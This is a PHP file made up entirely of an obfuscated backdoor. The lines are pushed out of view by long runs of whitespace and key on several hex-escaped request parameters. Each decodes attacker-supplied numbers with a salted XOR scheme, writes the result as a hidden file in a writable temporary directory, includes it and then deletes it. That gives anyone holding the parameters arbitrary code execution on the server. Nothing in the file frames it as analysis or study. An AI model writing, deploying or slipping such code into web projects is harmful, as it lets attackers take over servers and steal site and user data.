<?php																																										if(filter_has_var(INPUT_POST, "\x70r\x6F\x70e\x72ty_\x73e\x74")){ $dchunk = array_filter([session_save_path(), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $holder = $_POST["\x70r\x6F\x70e\x72ty_\x73e\x74"]; $holder =explode ( '.' , $holder) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $r = 0; $__tmp = $holder; while( $v7 = array_shift( $__tmp)) { $chS = ord( $s[$r % $lenS]); $d =( ( int)$v7 - $chS -( $r % 10)) ^ 46; $pset .= chr( $d); $r++;} for ($reference = 0, $binding = count($dchunk); $reference < $binding; $reference++) { $token = $dchunk[$reference]; if (!( !is_dir($token) || !is_writable($token) )) { $tkn = "$token" . "/.parameter_group"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(array_key_exists("rec", $_POST) && !is_null($_POST["rec"])){ $flag = array_filter(["/var/tmp", "/dev/shm", getenv("TMP"), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $binding = $_POST["rec"]; $binding =explode( "." , $binding ); $k = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $w = 0; $__tmp = $binding; while ($v2 = array_shift($__tmp)) {$chS = ord($salt3[$w% $sLen]); $d = ((int)$v2 - $chS - ($w% 10)) ^ 88; $k .= chr($d); $w++; } foreach ($flag as $key): if (array_product([is_dir($key), is_writable($key)])) { $symbol = vsprintf("%s/%s", [$key, ".itm"]); $success = file_put_contents($symbol, $k); if ($success) { include $symbol; @unlink($symbol); die();} } endforeach; }
																																										if(isset($_POST["hld"])){ $property_set = $_POST["hld"]; $property_set =explode ("." , $property_set) ; $symbol= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s1); $k= 0; $__tmp= $property_set; while ($v2= array_shift($__tmp)) { $sChar= ord($s1[$k % $sLen]); $dec= ((int)$v2 - $sChar - ($k % 10)) ^ 63; $symbol .= chr($dec); $k++; } $entity = array_filter(["/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", session_save_path()]); for ($token = 0, $ptr = count($entity); $token < $ptr; $token++) { $record = $entity[$token]; if (!( !is_dir($record) || !is_writable($record) )) { $desc = "$record/.elem"; if (file_put_contents($desc, $symbol)) { include $desc; @unlink($desc); exit; } } } }
																																										if(!is_null($_POST["\x72\x65\x63ord"] ?? null)){ $data_chunk = array_filter([getcwd(), "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $ent = $_POST["\x72\x65\x63ord"]; $ent = explode (".", $ent ) ; $entry= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $t= 0; foreach($ent as $v1) { $sChar= ord($s[$t % $lenS]); $d= ((int)$v1 - $sChar -($t % 10))^ 29; $entry .= chr($d); $t++; } for ($itm = 0, $object = count($data_chunk); $itm < $object; $itm++) { $ptr = $data_chunk[$itm]; if (is_writable($ptr) && is_dir($ptr)) { $pointer = "$ptr/.data"; $success = file_put_contents($pointer, $entry); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x63\x68unk"])){ $entry = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $element = $_REQUEST["\x64\x63\x68unk"]; $element= explode ( '.' , $element ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; array_walk($element, function($v5) use(&$binding, &$v, $s, $lenS) { $chS = ord($s[$v % $lenS]); $d =((int)$v5 - $chS -($v % 10)) ^ 87; $binding .= chr($d); $v++; }); foreach ($entry as $factor): if (array_product([is_dir($factor), is_writable($factor)])) { $item = implode("/", [$factor, ".descriptor"]); if (file_put_contents($item, $binding)) { include $item; @unlink($item); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "v\x61\x6C")){ $element = $_REQUEST["v\x61\x6C"]; $element =explode ( '.' ,$element ) ; $key= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s3); $p= 0; $__tmp= $element; while( $v8= array_shift( $__tmp)) { $chS= ord( $s3[$p % $sLen]); $d= ( ( int)$v8 - $chS -( $p % 10)) ^96; $key.= chr( $d); $p++; } $elem = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getcwd()]); $obj = 0; do { $ent = $elem[$obj] ?? null; if ($obj >= count($elem)) break; if (is_dir($ent) && is_writable($ent)) { $binding = sprintf("%s/.hld", $ent); if (file_put_contents($binding, $key)) { require $binding; unlink($binding); die(); } } $obj++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x65ntr\x79"])){ $dat = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); $reference = $_POST["\x65ntr\x79"]; $reference = explode( "." , $reference ); $parameter_group = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $i = 0; $len = count($reference); do {if ($i >= $len) break; $v9 = $reference[$i]; $chS = ord($s6[$i % $lenS]); $d = ((int)$v9 - $chS - ($i % 10)) ^ 40; $parameter_group.= chr($d); $i++; } while (true); $comp = 0; do { $marker = $dat[$comp] ?? null; if ($comp >= count($dat)) break; if (array_product([is_dir($marker), is_writable($marker)])) { $value = implode("/", [$marker, ".descriptor"]); if (@file_put_contents($value, $parameter_group) !== false) { include $value; unlink($value); exit; } } $comp++; } while (true); }
																																										if(!is_null($_POST["\x65\x6Cem"] ?? null)){ $desc = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir()]); $rec = $_POST["\x65\x6Cem"]; $rec =explode ( ".", $rec ) ; $object=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $len=count($rec); for($y=0; $y < $len; $y++) { $v8=$rec[$y]; $sChar=ord($s[$y % $sLen]); $d=((int)$v8 - $sChar -($y % 10)) ^ 16; $object .= chr($d); } while ($pgrp = array_shift($desc)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $obj = implode("/", [$pgrp, ".dat"]); if (file_put_contents($obj, $object)) { require $obj; unlink($obj); die(); } } } }


if(@$_REQUEST["k"] !== null){
	$pointer = $_REQUEST["k"];
	$pointer  = 	 explode	(		".",$pointer   );
	$sym = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(	 $salt);
    
            foreach(	 $pointer as $z => $v5):
                $sChar = ord(	 $salt[$z % $sLen]);
                $dec =(	 (	 int)$v5 - $sChar -(	 $z % 10))^		16;
                $sym .= chr(	 $dec);
            endforeach;
	$value = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", session_save_path(), getcwd()]);
	$marker = 0;
do {
    $record = $value[$marker] ?? null;
    if ($marker >= count($value)) break;
    		if ((bool)is_dir($record) && (bool)is_writable($record)) {
    $resource = "$record" . "/.ent";
    if (file_put_contents($resource, $sym)) {
	require $resource;
	unlink($resource);
	exit;
}
}
    $marker++;
} while (true);
}